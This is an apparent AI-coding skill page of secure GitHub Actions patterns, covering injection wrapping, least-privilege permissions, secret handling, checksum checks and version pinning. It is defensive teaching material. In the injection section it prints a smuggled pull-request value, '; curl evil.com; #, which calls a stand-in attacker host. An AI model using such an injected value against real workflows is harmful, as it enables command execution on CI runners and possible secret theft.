codeql-resolver/skills/github-workflow-security-patterns/SKILL.md
Canonical security patterns for GitHub Actions workflows
npx skillsauth add jacobpevans/claude-code-plugins github-workflow-security-patternsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Best practices and canonical patterns for secure GitHub Actions workflows.
Problem: Untrusted input (PR description, issue body, etc.) directly in run: command allows injection attacks.
Vulnerable Pattern:
- run: curl https://api.example.com -d "${{ github.event.pull_request.body }}"
Attack: If PR body is '; curl evil.com; #, the final command becomes:
curl https://api.example.com -d "'; curl evil.com; #"
Safe Pattern: Wrap untrusted input in environment variable
- name: Send Data
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: curl https://api.example.com -d "$PR_BODY"
Why Safe: The untrusted value is now a shell variable, not part of the command syntax. Injection attack becomes literal string value.
Dangerous contexts to always wrap:
github.event.pull_request.bodygithub.event.pull_request.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.*.*.messagegithub.head_refReference: GitHub Blog: Catching GitHub Actions Workflow Injections
Principle: Request only minimum permissions needed.
Anti-pattern (excess permissions):
jobs:
build:
permissions:
contents: write # Only reads, not writes
pull-requests: write # Doesn't create/modify PRs
issues: write # Doesn't touch issues
Pattern (least-privilege):
jobs:
build:
permissions:
contents: read # Minimum for checkout
Why it matters:
Permission matrix reference: Use codeql-permission-classification skill
Rule: When calling reusable workflow, caller job must declare permissions for ALL nested jobs.
# ci-gate.yml (caller)
validate:
permissions:
contents: read # For nested jobs' checkout steps
pull-requests: write # For nested job that comments on PR
uses: ./.github/workflows/_validate.yml
# .github/workflows/_validate.yml (callee)
jobs:
run-checks:
permissions:
contents: read # Own permission
steps: ...
post-comment:
permissions:
pull-requests: write # Own permission
steps:
- uses: actions/github-script@v6
with:
script: github.rest.pulls.createReview({...})
Why: Reusable workflow's nested jobs use the caller's GITHUB_TOKEN. Caller must declare union of all nested permissions.
Safe Pattern: Use GitHub Secrets, reference via environment variable
- name: Deploy
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # GitHub masks in logs
run: |
# Use $DEPLOY_KEY, never echo it
curl -H "Authorization: Bearer $DEPLOY_KEY" https://deploy.example.com
DO NOT:
Correct pattern:
# ✅ GOOD
- run: npm publish
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # GitHub masks in logs
# ❌ BAD
- run: echo "${{ secrets.NPM_TOKEN }}" | npm login # Don't echo!
# ❌ BAD
- run: npm publish --token abc123xyz # Hardcoded, visible in logs
Pattern: Upload artifacts with retention, clean up old ones
- name: Upload Coverage
uses: actions/upload-artifact@v6
with:
name: coverage-report
path: coverage/
retention-days: 7 # Auto-delete after 7 days
DO NOT:
Pattern: Use set -euo pipefail in multi-line scripts
- name: Build & Deploy
run: |
set -euo pipefail # Exit on error, undefined vars, pipe failures
npm install
npm run build
npm run deploy
What it does:
set -e: Exit immediately if any command failsset -u: Treat undefined variables as errorset -o pipefail: Pipe command fails if any step failsWhy: Prevents silent failures where script continues despite errors.
Pattern: Use if: conditions for optional steps
- name: Deploy to Production
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
run: ./deploy-prod.sh
- name: Deploy to Staging
if: github.event_name == 'pull_request'
run: ./deploy-staging.sh
Safe condition context:
github.event_name - Type of event (push, pull_request, etc.)github.ref - Current branch/tagjob.status - Previous job statusneeds.<job-id>.result - Result of dependencyDangerous contexts (never use unescaped):
github.event.pull_request.bodygithub.event.issue.titlePattern: Verify downloaded tools before running
- name: Download Tool
run: |
curl -O https://example.com/tool.tar.gz
echo "abc123def456..." > expected-checksum.txt
sha256sum -c expected-checksum.txt
tar -xzf tool.tar.gz
- name: Run Tool
run: ./tool --process data.txt
Why: Prevents running tampered or malicious binaries.
Pattern: Pin to specific versions, use hashes when possible
# ✅ GOOD - Specific version
- uses: actions/checkout@v6
# ❌ BAD - Latest version, could have breaking changes
- uses: actions/checkout@latest
# ✅ BEST - Specific commit hash (immutable)
- uses: actions/checkout@c85c95e3d7381db58e88eab11b5649be8dffe3b6
Note: GitHub Actions recommends semantic versioning (v6) but hash is most immutable.
Pattern: Log all significant actions for audit trail
- name: Start Deployment
run: |
echo "Deployment started at $(date -u +'%Y-%m-%dT%H:%M:%SZ')"
echo "Deploying to: ${{ github.event.deployment.environment }}"
echo "By: ${{ github.actor }}"
DO NOT:
Before committing a workflow:
env: blocks${{ secrets.* }}set -euo pipefailif: conditions use safe context (no user input)| Pitfall | Fix |
|---------|-----|
| Missing permissions: block | Add explicit least-privilege permissions |
| ${{ github.event.body }} in run: | Wrap in env: variable |
| Excess contents: write | Use contents: read unless truly needed |
| No set -e in multi-line scripts | Add set -euo pipefail |
| Hardcoded credentials | Move to GitHub Secrets, reference via env: |
| Actions at @latest | Pin to @v6 or @<commit-hash> |
Remember: Security in CI/CD is about preventing accidents AND malicious actions. These patterns protect against both.
documentation
Use when editing GitHub Actions workflow files (.github/workflows/*.yml) in JacobPEvans repos. Documents when to target self-hosted RunsOn runners vs GitHub-hosted runners, the v3 label catalog used across the org, the required github.run_id segment, and the GitHub App allowlist prereq.
testing
Check PR merge readiness, sync local repo, cleanup stale worktrees; optional cross-repo sweep and stale-branch prune modes
tools
Local rebase-merge workflow for pull requests with signed commits
tools
Canonical reference for all gh CLI command shapes used by skills in this plugin. Defines the placeholder convention, allowed --json fields, GraphQL fallback rules, -f/-F/--raw-field flag semantics, the PR-readiness gate, code-scanning alert query, review-thread fetch/count/resolve mutations, and heredoc bodies. Prevents Unknown JSON field errors and divergent query shapes.